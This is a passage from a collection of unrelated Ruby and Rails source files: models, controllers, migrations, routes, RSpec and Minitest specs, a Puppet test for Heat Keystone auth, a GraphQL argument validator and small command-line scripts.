Dispatch Chain here or something. # This will also let us return a human error message. # def self.authenticate(login, password) return nil if login.blank? || password.blank? u = find_by_login(login.downcase) # need to get the salt u && u.authenticated?(password) ? u : nil end def login=(value) write_attribute :login, (value ? value.downcase : nil) end def email=(value) write_attribute :email, (value ? value.downcase : nil) end #find the user in the database, first by the facebook user id and if that fails through the email hash def self.find_by_fb_user(fb_user) User.find_by_fb_user_id(fb_user.uid) || User.find_by_email_hash(fb_user.email_hashes) end #Take the data returned from facebook and create a new user from it. #We don't get the email from Facebook and because a facebooker can only login through Connect we just generate a unique login name for them. #If you were using username to display to people you might want to get them to select one after registering through Facebook Connect def self.create_from_fb_connect(fb_user) new_facebooker = User.new(:name => fb_user.name, :login => "facebooker_#{fb_user.uid}", :password => "", :email => "") new_facebooker.fb_user_id = fb_user.uid.to_i #We need to save without validations new_facebooker.save(false) new_facebooker.register_user_to_fb end #We are going to connect this user object with a facebook id. But only ever one account. def link_fb_connect(fb_user_id) unless fb_user_id.nil? #check for existing account existing_fb_user = User.find_by_fb_user_id(fb_user_id) #unlink the existing account unless existing_fb_user.nil? existing_fb_user.fb_user_id = nil existing_fb_user.save(false) end #link the new one self.fb_user_id = fb_user_id save(false) end end #The Facebook registers user method is going to send the users email hash and our account id to Facebook #We need this so Facebook can find friends on our local application even if they have not connect through connect #We hen use the email hash in the database to later identify a user from Facebook with a local user def register_user_to_fb users = {:email => email, :account_id => id} r = Facebooker::User.register([users]) self.email_hash = Facebooker::User.hash_email(email) save(false) end def facebook_user? return !fb_user_id.nil? && fb_user_id > 0 end def fb_user_id return super unless super.nil? return nil unless self.user_profile.present? return self.user_profile.facebook_user_id unless self.user_profile.facebook_user_id.nil? nil end # Taken from vendor/plugins/restful_authentication/lib/authentication/by_password.rb # We need to add the check to ignore password validations if using facebook connect def password_required? # Skip password validations if facebook connect user return false if facebook_connect_user? crypted_password.blank? || !password.blank? end # Skip password validations if facebook connect user def facebook_connect_user? facebook_user? and password.blank? end def facebook_id fb_user_id end def other_stories curr_story self.contents.find(:all, :conditions => ["id != ?", curr_story.id], :limit => 10, :order => "created_at desc") end def is_admin? self.is_admin == true end def is_moderator? self.is_moderator == true end def bio self.user_profile.present? ? self.user_profile.bio : nil end def newest_actions actions = self.votes.newest | self.comments.newest | self.contents.newest actions.sort_by {|a| a.created_at}.reverse[0,10] end def to_s "User: #{self.name}" end def self.find_admin_users User.find(:all, :conditions => ['is_admin = true']) end protected end
#!/usr/bin/env ruby # -*- coding: utf-8 -*- require 'optparse' $LOAD_PATH.unshift File.dirname(__FILE__) + '/../lib' require 'cache' DEFAULT_DIR = "./" opts = {} ARGV.options do |o| o.banner = "ruby #{$0} [OPTION]... CACHEDIR FILETYPE..." o.on("-m", "็งปๅ‹•ใซใ‚ˆใ‚‹ๆŠฝๅ‡บใ‚’่กŒใ†(ๆŒ‡ๅฎšใ—ใชใ‘ใ‚Œใฐใ‚ณใƒ”ใƒผ)") {|x| opts[:mv] = x} o.on("-d DIRECTORY", "ๆŠฝๅ‡บๅ…ˆใ‚’ๆŒ‡ๅฎšใ™ใ‚‹(ๆŒ‡ๅฎšใ—ใชใ‘ใ‚Œใฐ ./)") {|x| opts[:dir] = x} begin o.parse! rescue => err puts err.to_s exit end end opts = {dir: DEFAULT_DIR}.merge(opts) cx = Cache.new(*ARGV) if opts[:mv] cx.mv_cache(opts[:dir]) else cx.cp_cache(opts[:dir]) end
require_relative "spec_helper.rb" describe "Wave 1" do before do @hotel = Hotel::RoomReservation.new room_id1 = 14 check_in1 = Date.new(2019, 4, 1) check_out1 = Date.new(2019, 4, 2) @reservation1 = @hotel.new_reservation(room_id1, check_in1, check_out1) room_id2 = 15 check_in2 = Date.new(2019, 4, 3) check_out2 = Date.new(2019, 4, 6) @reservation2 = @hotel.new_reservation(room_id2, check_in2, check_out2) end describe "reservation_cost method" do it "finds the cost of a given reservation" do reservation1 = @reservation1.reservation_cost reservation2 = @reservation2.reservation_cost expect(reservation1).must_equal 200 expect(reservation2).must_equal 600 end end end
class Headline < ActiveRecord::Base #Associations has_many :articles, -> { order 'cached_votes_score DESC' } do def most_voted limit(1) end end has_attached_file :image, styles: { regular: "420x290#"} validates_attachment_content_type :image, content_type: /\Aimage\/.*\Z/ validates_presence_of :title, :image end
Rails.application.routes.draw do namespace :api, defaults: { format: :json } do namespace :v1 do resources :users, only: [] do post "follow", to: "relationships#create" delete "unfollow", to: "relationships#destroy" resources :operations, only: [:index, :create] resources :following_sleeps, only: :index end end end end
# encoding: utf-8 module Api module V2 class ReportsController < ::Api::BaseApiController #before_filter :authenticate_user!, :except => [:create] before_filter :get_user def create options = { :subject => "Note Report", :description => params[:note_id], :email => @user.email } resource = Service::ReportService::NoteReport.process(options) status = resource.errors.any? ? true : false render :json => ::Api::Helpers::ReportJsonSerializer.as_json(resource, status) end protected def get_user @user ||= User.find(2) end end end end
100.times do | num | p num unless !num.odd? end # Second time # (1..99).each { |n| puts "#{n}" if n.odd? } # LS Solution: # value = 1 # while value <= 99 # puts value # value += 2 # end # ls solution goes through half as many iterations.
class Web::Admin::SessionsController < Web::Admin::ApplicationController layout 'web/admin/sign_in_up' def new @session = AdminSignInType.new end def create @session = AdminSignInType.new(params[:admin_sign_in_type]) if @session.valid? admin = @session.admin admin_sign_in(admin) f(:success) redirect_to admin_root_path else render action: :new end end def destroy admin_sign_out redirect_to root_path end end
class TicTacToe X = 'X' O = '0' attr_accessor :board def initialize(board) raise "The board does not look valid: #{board}" unless board.length == 9 @board = board.split(//).each_slice(3).to_a end def valid? (no_of_crosses - no_of_noughts).abs < 2 end def no_of_crosses @board.flatten.count(X) end def no_of_noughts @board.flatten.count(O) end def finished? line_across? || line_down? || line_diagonal? end def draw? @board.flatten.count(" ") == 0 end def line_diagonal? [[0,4,8], [2,4,6]].any? {|d| winner?(d.map{|index| @board.flatten[index]})} end def line_down? @board.transpose.any? {|line| winner? line } end def winner?(line) [[X]*3, [O]*3].include? line end def line_across? @board.any? {|line| winner? line } end def next_player no_of_crosses == no_of_noughts ? X : O end def current_player no_of_crosses > no_of_noughts ? X : O end def next_move (0..8).find {|i| winning_move?(i) } end def to_s @board.flatten.join end def winning_move?(i) clone = self.class.new(to_s) clone.move(i) clone.finished? end def move(i) @board[i/3][i%3] = next_player end end
class SpecialEffect < ApplicationRecord belongs_to :character scope :active, -> { where(expiration: DateTime.current..100.years.from_now) .or(SpecialEffect.where(expiration: nil)) } end
require 'rails_helper' RSpec.describe Answer, :type => :model do it 'has a valid factory' do expect(build(:answer)).to be_valid end it { is_expected.to validate_presence_of :body } it { is_expected.to belong_to :question } it { is_expected.to belong_to :user } it { is_expected.to have_many :attachments } it { is_expected.to have_many :comments } it { is_expected.to accept_nested_attributes_for :attachments } it { is_expected.to have_many :votes } it { is_expected.to have_many :voted_users } describe '.approve' do let(:question) { create(:question) } let!(:answer) { create(:answer, question: question) } let!(:previous_answer) { create(:answer, question: question, approved: true) } context 'question has no previous solution' do it "sets answer's approved status to true" do answer.approve expect(answer.approved).to eq true end end context 'question has previous solution' do it "removes previous solution's approved status" do expect{ answer.approve }.to change{ previous_answer.reload.approved }.from(true).to(false) end it "sets answer's approved status to true" do answer.approve expect(answer.approved).to eq true end it "keeps answer's status to true if author tries to approve the same answer" do expect{ previous_answer.approve }.to_not change{ previous_answer.reload.approved } end end end end
class User < ApplicationRecord validates :name ,presence: true, uniqueness: true, length: {minimum: 1} validates :email ,presence: true has_many :pins has_many :comments, through :pins end
class CreateTransportAttendances < ActiveRecord::Migration def self.up create_table :transport_attendances do |t| t.date :attendance_date t.integer :receiver_id t.string :receiver_type t.integer :route_type t.references :route t.datetime :entering t.datetime :leaving t.references :school t.timestamps end end def self.down drop_table :transport_attendances end end
# Step 1: # # The robot factory manufactures robots that have three possible movements: # # โ€ข turn right # โ€ข turn left # โ€ข advance # # Robots are placed on a hypothetical infinite grid, facing a particular direction (north, east, south, or west) at a set of # {x,y} coordinates, e.g., {3,8}. # # Step 2: # # Robots can pivot left and right. # # The robot factory manufactures robots that have three possible movements: # # โ€ข turn right # โ€ข turn left # โ€ข advance # # The factory's test facility needs a program to verify robot movements. # # There are a number of different rooms of varying sizes, measured in Robot Units, the distance a robot moves when you # instruct it to advance. # # The floor of the room is a grid, each square of which measures 1 square RU (Robot Unit). # # The rooms are always oriented so that each wall faces east, south, west, and north. # # The test algorithm is to place a robot at a coordinate in the room, facing in a particular direction. # # The robot then receives a number of instructions, at which point the testing facility verifies the robot's new position, # and in which direction it is pointing. # # Step 3: # # The robot factory manufactures robots that have three possible movements: # # โ€ข turn right # โ€ข turn left # โ€ข advance # # The robot factory's test facility has a simulator which can take a string of letters and feed this into a robot as # instructions. # # โ€ข The letter-string "RAALAL" means: # - Turn right # - Advance twice # - Turn left # - Advance once # - Turn left yet again # # Say a robot starts at {7, 3} facing north. Then running this stream of instructions should leave it at {9, 4} facing west.
require 'spec_helper' describe CardDeck::TrumpCardDeck::Base do before(:each) do @deck = CardDeck::TrumpCardDeck::Base.new end it "stores a trump suit if the suit is valid" do @deck.trump_suit = :spades @deck.trump_suit.should == :spades end it "raises an error if the trump suit is not valid" do lambda{@deck.trump_suit = :stars}.should raise_error end describe "#is_trump?" do before(:each) do @deck.trump_suit = :spades end it "recognizes when a card is trump" do card = Card.new 14, :spades @deck.is_trump?(card).should be_true end it "recognizes when a card is not" do card = Card.new 14, :diamonds @deck.is_trump?(card).should_not be_true end end describe "#is_lead_suit?" do before(:each) do @deck.lead_suit = :clubs end it "recognizes when a card is part of the leading suit" do card = Card.new 13, :clubs @deck.is_lead_suit?(card).should be_true end it "recognizes when a card is not" do card = Card.new 14, :diamonds @deck.is_lead_suit?(card).should_not be_true end end describe "ranking hands" do before(:each) do suits = [:diamonds, :spades, :clubs, :hearts] ordinals = [8, 12, 14, 8] @players = [] @cards = [] (0..3).each do |i| card = mock Card card.stub(:suit).and_return(suits[i]) card.stub(:ordinal).and_return(ordinals[i]) @cards << card player = mock Player player.stub(:play_card).and_return(card) @players << player end @deck.new_hand @players.each do |player| @deck.hand_played player, player.play_card end end # before :each describe "#hand_played" do it "correctly marks the leading suit" do @deck.lead_suit.should == :diamonds end it "keeps track of which player played which card" do @deck.current_hand.each_with_index do |hand, i| hand[:player].should == @players[i] hand[:card].should == @cards[i] end end end describe "#rank_hand" do context "when there is no trump and only one leading suit" do it "returns the first player" do @deck.rank_hand.should == @players[0] end end context "when there is no trump and more than one play the leading suit" do before(:each) do @deck.new_hand end it "returns the player with the highest ordinal in the leading suit" do end end end end end
# frozen_string_literal: true module GraphQL module StaticValidation module RequiredArgumentsArePresent def on_field(node, _parent) assert_required_args(node, field_definition) super end def on_directive(node, _parent) directive_defn = context.schema_directives[node.name] assert_required_args(node, directive_defn) super end private def assert_required_args(ast_node, defn) args = defn.arguments(context.query.context) return if args.empty? present_argument_names = ast_node.arguments.map(&:name) required_argument_names = context.warden.arguments(defn) .select { |a| a.type.kind.non_null? && !a.default_value? && context.warden.get_argument(defn, a.name) } .map(&:name) missing_names = required_argument_names - present_argument_names if missing_names.any? add_error(GraphQL::StaticValidation::RequiredArgumentsArePresentError.new( "#{ast_node.class.name.split("::").last} '#{ast_node.name}' is missing required arguments: #{missing_names.join(", ")}", nodes: ast_node, class_name: ast_node.class.name.split("::").last, name: ast_node.name, arguments: "#{missing_names.join(", ")}" )) end end end end end
class Game < ApplicationRecord require 'csv' require 'activerecord-import/base' belongs_to :season has_and_belongs_to_many :teams validates :home_team, presence: true, length: { is: 3 } validates :away_team, presence: true, length: { is: 3 } validates :game_year, presence: true, length: { is: 4 } validates :park, presence: true, length: { in: 1..70 } validates :month, presence: true, length: { in: 3..10 } def self.import(file) month_names = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'] CSV.foreach(file.path, headers: true) do |line| date = line[0] @game = Game.create( game_year: date[(0..3)], full_date: line[0], park: line[6], home_team: Team.where(sheet_key: line[6]).first_or_create(league: line[7], sheet_key: line[6], city: city_adder(line[6].to_sym)).sheet_key, away_team: Team.where(sheet_key: line[3]).first_or_create(league: line[4], sheet_key: line[3], city: city_adder(line[3].to_sym)).sheet_key, home_homeruns: line[53], away_homeruns: line[25], home_score: line[10], away_score: line[9], total_homeruns: (line[53].to_i + line[25].to_i).to_s, winner: winning_team(line[6], line[3], line[10], line[9]), loser: losing_team(line[6], line[3], line[10], line[9]), day_of_week: line[2], month: month_names[(date[(4..5)].to_i - 1)], season: Season.where(year: date[(0..3)]).first_or_create(year: date[(0..3)]) ) end end def self.winning_team(home_team, away_team, home_runs, away_runs) if home_runs > away_runs home_team else away_team end end def self.losing_team(home_team, away_team, home_runs, away_runs) if home_runs < away_runs home_team else away_team end end def self.city_adder(arg) cities = { TBA: 'Tampa Bay', TOR: 'Toronto', PIT: 'Pittsburgh', SLN: 'St. Louis', ANA: 'Los Angeles', CHN: 'Chicago', BAL: 'Baltimore', MIN: 'Minnesota', OAK: 'Oakland', CHA: 'Chicago', TEX: 'Texas', SEA: 'Seattle', ARI: 'Arizona', COL: 'Colorado', ATL: 'Atlanta', WAS: 'Washington', CIN: 'Cincinnati', PHI: 'Philadelphia', MIL: 'Milwaukee', SFN: 'San Francisco', SDN: 'San Diego', LAN: 'Los Angeles', CLE: 'Cleveland', BOS: 'Boston', KCA: 'Kansas City', NYN: 'New York', NYA: 'New York', HOU: 'Houston', MIA: 'Miami', DET: 'Detroit', FLO: 'Florida' } cities[arg] end private_class_method :winning_team, :losing_team, :city_adder end
class TerminalesController < ApplicationController before_action :set_terminal, except: [:index, :new, :create, :caja_registradora] before_action :quitarBandera, :definirControlador def definirControlador @controlador = 'terminales' end def quitarBandera @creacion = false end def index @terminales = Terminal.all end def new @terminal = Terminal.new @caja_registradora = CajasRegistradora.new nueva_terminal end def show @terminal = Terminal.find(params[:id]) @sucursales = Sucursal.all @inventarios = Inventario.all end def edit @terminal = Terminal.find(params[:id]) @caja_registradora = CajasRegistradora.new @sucursales = Sucursal.all @inventarios = Inventario.all end def nueva_terminal @sucursales = Sucursal.all @inventarios = Inventario.all @creacion = true end def create @terminal = Terminal.new(terminal_params) @terminal.sucursal_id = params[:sucursal_id] @terminal.inventario_id = params[:inventario_id] if params[:opciones]=='no' if Terminal.find_by(nombre: params[:terminal][:nombre]).present? @caja_registradora = CajasRegistradora.new nueva_terminal flash[:info] = @terminal.nombre + ' ya estรก registrada en el sistema' render :new else if @terminal.save flash[:success] = "Terminal creada exitosamente" redirect_to @terminal end end elsif params[:terminal][:cajas_registradora_id].blank? if Terminal.find_by(nombre: params[:terminal][:nombre]).present? nueva_terminal flash[:info] = @terminal.nombre + ' ya estรก registrada en el sistema' render :new else @caja_registradora = CajasRegistradora.new(caja_registradora_params) if @caja_registradora.save @terminal.caja_registradora_habilitada = true else @terminal.caja_registradora_habilitada = false end @terminal.cajas_registradora_id = @caja_registradora.id if @terminal.save flash[:success] = "Terminal creada exitosamente" redirect_to @terminal end end else if Terminal.find_by(nombre: params[:terminal][:nombre]).present? @caja_registradora = CajasRegistradora.new nueva_terminal flash[:info] = @terminal.nombre + ' ya estรก registrada en el sistema' render :new else @terminal.cajas_registradora_id = params[:terminal][:cajas_registradora_id] @terminal.caja_registradora_habilitada = true if @terminal.save flash[:success] = "Terminal creada exitosamente" redirect_to @terminal end end end end def actualiza @terminal = Terminal.find(params[:id]) if params[:opciones]=='no' @terminal.cajas_registradora_id = nil if @terminal.update(terminal_params) flash[:success] = "Terminal actualizada exitosamente" redirect_to @terminal end elsif params[:terminal][:cajas_registradora_id].blank? @caja_registradora = CajasRegistradora.new(caja_registradora_params) if @caja_registradora.save @terminal.caja_registradora_habilitada = true else @terminal.caja_registradora_habilitada = false end @terminal.cajas_registradora_id = @caja_registradora.id if @terminal.update(terminal_params) flash[:success] = "Terminal actualizada exitosamente" render :show else render :edit end else @terminal.cajas_registradora_id = params[:terminal][:cajas_registradora_id] if @terminal.update(terminal_params) flash[:success] = "Terminal actualizada exitosamente" render :show else render :edit end end end def destroy @terminal = Terminal.find(params[:id]) @terminal.destroy flash[:success] = "Terminal eliminada exitosamente." redirect_to terminales_path end def terminal_params params.require(:terminal).permit(:sucursal_id, :inventario_id, :nombre, :caja_registradora_habilitada) end def caja_registradora_params params.require(:caja_registradora).permit(:nombre, :monto_inicial) end private def set_terminal @terminal = Terminal.find(params[:id]) end end
require 'rails_helper' RSpec.describe CalendarColor, type: :model do it 'has a valid factory' do expect(create :calendar_color).to be_valid end end
class Campaign < ApplicationRecord belongs_to :expert has_many :todo_lists, dependent: :destroy has_many :comments, as: :commentable accepts_nested_attributes_for :todo_lists, allow_destroy: true validates :title, presence: true end
module OnDestroy module Model extend ActiveSupport::Concern included do OnDestroy::OPTIONS.each do |key| class_attribute key, instance_writer: true self.send("#{key}=".to_sym, OnDestroy.send(key)) end around_destroy :do_on_destroy end module ClassMethods # a shortcut to set configuration: # self.do_not_delete, self.set, self.to, self.is_deleted_if # and to default self.is_deleted_if to a proc that def on_destroy(*args) options = args.extract_options! self.do_not_delete = args.include?(:do_not_delete) self.on_destroy_options = options end end # Instance methods # if self.set then will use update_attributes! to set the self.set attribute to self.to or self.to.call if it is a Proc. def do_on_destroy if self.on_destroy_options o_set = self.on_destroy_options[:set] o_to = self.on_destroy_options[:to] update_attributes! o_set => (o_to.is_a?(Proc) ? o_to.call : o_to) unless o_set.nil? yield end end # if self.do_not_delete? runs no/empty callback on :destroy, otherwise calls super. def destroy if self.do_not_delete? # don't destroy run_callbacks(:destroy) {} else # destroy super end end # runs delete callback on :destroy def really_destroy run_callbacks(:destroy) {delete} end def destroyed? if self.on_destroy_options is_deleted_if = self.on_destroy_options[:is_deleted_if] o_set = self.on_destroy_options[:set] o_to = self.on_destroy_options[:to] if is_deleted_if.is_a?(Proc) send(o_set) == is_deleted_if.call elsif !(o_set.nil?) if o_to.is_a?(Proc) # assume that a :to defined as a Proc is going to evaluate to a non-nil to indicate the model is null send(o_set) != nil else send(o_set) == o_to end end else super end end alias_method :deleted?, :destroyed? end end
# # Unit tests for heat::keystone::auth # require 'spec_helper' describe 'heat::keystone::auth' do shared_examples_for 'heat::keystone::auth' do context 'with default class parameters' do let :params do { :password => 'heat_password' } end it { is_expected.to contain_keystone__resource__service_identity('heat').with( :configure_user => true, :configure_user_role => true, :configure_endpoint => true, :service_name => 'heat', :service_type => 'orchestration', :service_description => 'OpenStack Orchestration Service', :region => 'RegionOne', :auth_name => 'heat', :password => 'heat_password', :email => 'heat@localhost', :tenant => 'services', :roles => ['admin'], :system_scope => 'all', :system_roles => [], :public_url => 'http://127.0.0.1:8004/v1/%(tenant_id)s', :internal_url => 'http://127.0.0.1:8004/v1/%(tenant_id)s', :admin_url => 'http://127.0.0.1:8004/v1/%(tenant_id)s', ) } it { is_expected.to contain_keystone_role('heat_stack_user').with_ensure('present') } it { is_expected.to_not contain_keystone_role('heat_stack_owner').with_ensure('present') } end context 'when overriding parameters' do let :params do { :password => 'heat_password', :auth_name => 'alt_heat', :email => 'alt_heat@alt_localhost', :tenant => 'alt_service', :roles => ['admin', 'service'], :system_scope => 'alt_all', :system_roles => ['admin', 'member', 'reader'], :configure_endpoint => false, :configure_user => false, :configure_user_role => false, :service_description => 'Alternative OpenStack Orchestration Service', :service_name => 'alt_service', :service_type => 'alt_orchestration', :region => 'RegionTwo', :public_url => 'https://10.10.10.10:80', :internal_url => 'http://10.10.10.11:81', :admin_url => 'http://10.10.10.12:81', :heat_stack_user_role => 'alt_heat_stack_user', :configure_delegated_roles => true, :trusts_delegated_roles => ['alt_heat_stack_owner'] } end it { is_expected.to contain_keystone__resource__service_identity('heat').with( :configure_user => false, :configure_user_role => false, :configure_endpoint => false, :service_name => 'alt_service', :service_type => 'alt_orchestration', :service_description => 'Alternative OpenStack Orchestration Service', :region => 'RegionTwo', :auth_name => 'alt_heat', :password => 'heat_password', :email => 'alt_heat@alt_localhost', :tenant => 'alt_service', :roles => ['admin', 'service'], :system_scope => 'alt_all', :system_roles => ['admin', 'member', 'reader'], :public_url => 'https://10.10.10.10:80', :internal_url => 'http://10.10.10.11:81', :admin_url => 'http://10.10.10.12:81', ) } it { is_expected.to contain_keystone_role('alt_heat_stack_user').with_ensure('present') } it { is_expected.to contain_keystone_role('alt_heat_stack_owner').with_ensure('present') } end context 'when role management parameters overridden' do let :params do { :password => 'heat_password', :configure_delegated_roles => true, :manage_heat_stack_user_role => false } end it { is_expected.to_not contain_keystone_role('heat_stack_user').with_ensure('present') } it { is_expected.to contain_keystone_role('heat_stack_owner').with_ensure('present') } end end on_supported_os({ :supported_os => OSDefaults.get_supported_os }).each do |os,facts| context "on #{os}" do let (:facts) do facts.merge!(OSDefaults.get_facts()) end it_behaves_like 'heat::keystone::auth' end end end
require_relative "board" class Player attr_accessor :color, :board def initialize(color) @color = color end # check if the piece on a square belongs to you. The game class or board (haven't decided yet) won't allow him to move it if the colors don't match. def your_piece(sq) piece = @board.get_piece(sq) piece.color == self.color end def make_move puts
module Anonymized module ActsAsAnonymized extend ActiveSupport::Concern class_methods do def acts_as_anonymized(anonymization_strategy) raise "Anonymization strategy required" unless anonymization_strategy.present? cattr_accessor :anonymization_strategy self.anonymization_strategy = anonymization_strategy end end end end
#!/usr/bin/env ruby # -*- coding: utf-8 -*- require 'rubygems'; require 'bundler/setup'; Bundler.require require 'open-uri' ROWS = 52 AVAILABLE_ATTRIBUTES=['rowspan', 'colspan', 'style', 'bgcolor', 'class', 'title', 'onclick'] # ะคะพั€ะผะฐั‚: https://gist.github.com/dapi/8649553 file = ARGV[0] || raise("ะฃะบะฐะถะธั‚ะต ั„ะฐะนะป ะดะปั ะฟะฐั€ัะธะฝะณะฐ ะฟะฐั€ะฐะผะตั‚ั€ะพะผ") page = ARGV[1] || 1; page = page.to_i row_start = (page-1) * ROWS + 1 show_header = page == 1 pretty_json = false doc = Nokogiri::HTML( open(file), nil, 'UTF-8') def clear_attribute key, attr return nil unless attr value = attr.value return nil if value.nil? || value.empty? return nil if value == '; color:' return nil if value == 'z-index:100;' if key=='rowspan' || key == 'colspan' return nil if value.to_i<=1 elsif key=='' end value end def parse_rows doc, path, row_num=1 rows = {} first_row = row_num doc.xpath(path).each do |tr| row = { data: [] } tr.xpath('th|td').each do |th| th.content = ' ' if th.content.length==1 && th.content[0].ord == 160 # ะฃะดะฐะปัะตะผ ะฝะตะฒะธะดะธะผั‹ะน ะฟั€ะพะฑะตะป cell = th.content.to_s.strip.empty? ? {} : { content: th.content } # ะ”ะพะฑะฐะฒะปัะตะผ ะฝะพะผะตั€ ัั‚ั€ะพะบะธ ั‡ั‚ะพะฑั‹ ะฑั‹ะปะฐ ะฒะธะดะฝะฐ ั€ะฐะทะฝะธั†ะฐ ะฟั€ะธ ะฟะพะดะณั€ัƒะทะบะต ะฒั‚ะพั€ะพะน ัั‚ั€ะฐะฝะธั†ั‹ cell[:content] << row_num if first_row>1 if cell[:content] AVAILABLE_ATTRIBUTES.each do |attr| value = clear_attribute attr, th.attribute( attr ) cell[attr] = value if value end row[:data] << cell end rows[row_num] = row row_num += 1 end rows end table = { data: parse_rows(doc, '//tbody/tr', row_start) } table['header'] = parse_rows(doc, '//thead/tr') if show_header puts pretty_json ? JSON.pretty_generate(table) : table.to_json
class CreateBlogPosts < ActiveRecord::Migration[5.1] def change create_table :blog_posts do |t| t.text :title t.text :content t.timestamp :posted_at t.string :slug t.references :admin t.timestamps end end end
class CreateTransactions < ActiveRecord::Migration[5.1] def change create_table :payments do |t| t.integer :user_id t.integer :job_id t.integer :credit_card_id t.string :amount t.string :description t.string :vat t.integer :status t.datetime :payment_date t.string :authorization_code t.string :installments t.string :message t.string :carrier_code t.integer :status_detail t.timestamps end end end
class AddIsLockedToLineItems < ActiveRecord::Migration def change add_column :line_items, :is_locked, :boolean end end
require 'opal' require 'browser' require 'browser/socket' require 'browser/console' require 'browser/dom' require 'browser/dom/document' require 'browser/http' require 'browser/delay' require 'native' require 'tile' puts 'Loading Magellan...' class Magellan attr_accessor :binding attr_reader :radius attr_accessor :surrounds def initialize(binding, radius = 2) @binding = binding @radius = radius @surrounds = Hash.new{|hash, key| hash[key] = Hash.new} (-@radius..@radius).each do |y| (-@radius..@radius).each do |x| @surrounds[x][y] = Tile.new @binding @surrounds[x][y].origin_tile = x == 0 && y == 0 @surrounds[x][y].clear_left = true if x == -@radius end end render end def render (-@radius..@radius).each do |y| (-@radius..@radius).each do |x| @surrounds[x][y].render end end end end
require 'test_helper' class KhsControllerTest < ActionDispatch::IntegrationTest setup do @kh = khs(:one) end test "should get index" do get khs_url assert_response :success end test "should get new" do get new_kh_url assert_response :success end test "should create kh" do assert_difference('Kh.count') do post khs_url, params: { kh: { } } end assert_redirected_to kh_url(Kh.last) end test "should show kh" do get kh_url(@kh) assert_response :success end test "should get edit" do get edit_kh_url(@kh) assert_response :success end test "should update kh" do patch kh_url(@kh), params: { kh: { } } assert_redirected_to kh_url(@kh) end test "should destroy kh" do assert_difference('Kh.count', -1) do delete kh_url(@kh) end assert_redirected_to khs_url end end
require "repositories/rental_repository" RSpec.describe RentalRepository do describe "#load" do subject(:load_hashes) { repository.load(rental_hashes, dependencies) } it "adds the dependencies to the rental" do load_hashes rental = repository.fetch(1) expect(rental.car).to eq car end let(:rental_hashes) do [ { "id" => 1, "car_id" => 1, "start_date" => "2017-12-8", "end_date" => "2017-12-10", "distance" => 100, "deductible_reduction" => true, }, ] end let(:dependencies) { { cars: { 1 => car } } } let(:car) { double("Car") } end let(:repository) { described_class.new } end
# frozen_string_literal: true class RmoveReferencesFromRoom < ActiveRecord::Migration[6.0] def change remove_foreign_key :rooms, :users remove_reference :rooms, :user remove_foreign_key :rooms, :messages remove_reference :rooms, :message end end
class AddItemsIndex < ActiveRecord::Migration def self.up add_index :items, [:feed_id, :stored_on, :created_on, :id], name: :items_search_index end def self.down remove_index :items_search_index end end
class Book attr_accessor :title def initialize @chapters = [] end def add_chapter(input) @chapters << input end def chapters @chap_num = @chapters.length p "Your book: #{title} has #{@chap_num} chapters:" (1..@chap_num).each do |x| p "#{x}. #{@chapters[x-1]}." end end end book = Book.new book.title = "My Awesome book" book.add_chapter("My Awesome Chapter 1") book.add_chapter("My Awesome Chapter 2") book.chapters
require 'data_model/type_validators/soft' require 'data_model/validators/base' module Moon module DataModel module Validators # Ensures that the provided value is the Type required, usually # appended first to a validators stack. # see {Field#validators} class Type < Base class << self # @!attribute default # @return [Moon::DataModel::TypeValidators::Base] # default validator to be used for Type validations. attr_accessor :default end self.default ||= Moon::DataModel::TypeValidators::Soft # @param [Hash] options # @option options [Type] :type # @option options [TypeValidators::Base<>] :validator # @api private def initialize_options(options) super @type = options.fetch(:type) @allow_nil = options.fetch(:allow_nil, false) @validator = options[:validator] end def validator @validator || self.class.default end # @api private def post_initialize # TODO, find some way of asserting classes validator.send :ensure_obj_is_a_type, @type end # (see Base#test_valid) def test_valid(value) validator.check_type(@type, value, quiet: true, allow_nil: @allow_nil, ctx: @ctx) end register :type end end end end
require 'rails_helper' RSpec.describe "Jobs", type: :request, js: true do describe 'Anonymous User' do before(:each) do @job = FactoryGirl.create :job visit jobs_path expect(page).to have_selector(get_html_id(@job)) expect(page).to_not have_link('New Job') end describe 'permissions' do it 'requires authentication to create or edit a company' do requires_sign_in new_job_path requires_sign_in edit_job_path(@job) end end describe 'Rest actions' do it 'lists all jobs' do @jobs = FactoryGirl.create_list :job, 5 refresh_page # because we created 5 jobs that weren't on the page @jobs.each do |job| validate_job_in_table job end end it 'shows a job' do click_link_in_row @job, 'Show' expect(page).to_not have_link('Edit', href: edit_job_path(@job)) currency_attributes = %w{ salary_min salary_max } attributes = job_attributes - currency_attributes - %w{ company_id } expect(page).to have_content("Company: #{@job.company.name}") attributes.each do |attribute| expect(page).to have_content("#{attribute.humanize}: #{@job.send(attribute)}") end currency_attributes.each do |currency_attribute| expect(page).to have_content("#{currency_attribute.humanize}: #{number_to_currency(@job.send(currency_attribute), precision: 0)}") end expect(current_path).to eq(job_path(@job)) end end end describe 'Admin' do before(:each) do @admin = FactoryGirl.create :admin sign_in @admin end describe 'Rest actions' do before(:each) do @job = FactoryGirl.create :job visit jobs_path expect(page).to have_selector(get_html_id(@job)) end it 'lists all jobs' do @jobs = FactoryGirl.create_list :job, 5 refresh_page # because we created 5 jobs that weren't on the page @jobs.each do |job| validate_job_in_table job end end it 'create a job' do @new_job = FactoryGirl.build :job click_link 'New Job' fill_in_job_form @new_job expect(page).to have_content('Job was successfully created.') expect(current_path).to eq(job_path(Job.last)) validate_last_job_in_db @new_job end it 'edits a job' do @new_job = FactoryGirl.build :job, remote_ok: !@job.remote_ok click_link_in_row @job, 'Edit' fill_in_job_form @new_job expect(page).to have_content('Job was successfully updated.') expect(current_path).to eq(job_path(@job)) validate_last_job_in_db @new_job end it 'shows a job' do click_link_in_row @job, 'Show' expect(page).to have_link('Edit', href: edit_job_path(@job)) currency_attributes = %w{ salary_min salary_max } attributes = job_attributes - currency_attributes - %w{ company_id } expect(page).to have_content("Company: #{@job.company.name}") attributes.each do |attribute| expect(page).to have_content("#{attribute.humanize}: #{@job.send(attribute)}") end currency_attributes.each do |currency_attribute| expect(page).to have_content("#{currency_attribute.humanize}: #{number_to_currency(@job.send(currency_attribute), precision: 0)}") end expect(current_path).to eq(job_path(@job)) end it 'destroys a job' do click_link_in_row @job, 'Destroy' expect(page).to have_content('Job was successfully destroyed.') expect(current_path).to eq(jobs_path) expect{@job.reload}.to raise_error(ActiveRecord::RecordNotFound) end end end def fill_in_job_form job checkboxes = %w{ remote_ok } arrays = %w{ tags } attributes = job_attributes - checkboxes - arrays attributes.each do |attribute| fill_in "job[#{attribute}]", with: job.send(attribute) end 